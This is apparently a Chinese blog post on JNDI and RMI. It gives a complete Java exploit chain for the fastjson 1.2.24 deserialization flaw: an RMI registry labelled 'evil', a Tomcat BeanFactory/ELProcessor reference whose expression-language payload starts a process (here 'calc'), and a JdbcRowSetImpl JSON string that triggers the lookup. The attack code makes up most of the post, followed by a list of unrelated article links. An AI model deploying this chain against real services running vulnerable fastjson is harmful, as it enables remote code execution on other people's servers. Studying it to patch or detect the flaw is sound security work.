zoukankan      html  css  js  c++  java
  • jndi和rmi学习

     1.程序1启动rmi管理服务

    System.out.println("Creating evil RMI registry on port 9527");
    LocateRegistry.createRegistry(1111);
    System.out.println("======启动Rmi成功!======");
    Thread.currentThread().join();

    2.程序2注册rmi服务

    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    Naming.bind("rmi://127.0.0.1:1111/service1", referenceWrapper);
    System.out.println("RMI服务启动成功,服务地址:" + "rmi://127.0.0.1:1111/service1");

    3.程序3中fastjson序列号中会用到rmi服务,执行注册到rmi服务中的服务,
    <fastjson.version>1.2.24</fastjson.version>
    String json="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1111/service1\",\"autoCommit\":true}";
    JSON.parseObject(json);

    4.因为fastjson的parseObject方法中会使用到jndi查找方法,类似this.registry.lookup("rmi://127.0.0.1:1111/service1");,这句就会触发具体远程方法的执行,导致漏洞被利用
  • 相关阅读:
    git操作详解
    藏医诊疗管理系统
    广告的转化率预估
    python字符串及其内置函数详解
    python数据类型和运算符及运算符的优先级
    lunix常用命令
    返回结果的HTTP状态码
    简单的http协议
    git 上传项目到分支
    安装及使用webpack
  • 原文地址:https://www.cnblogs.com/AlanWinFun/p/15735324.html
Copyright © 2011-2022 走看看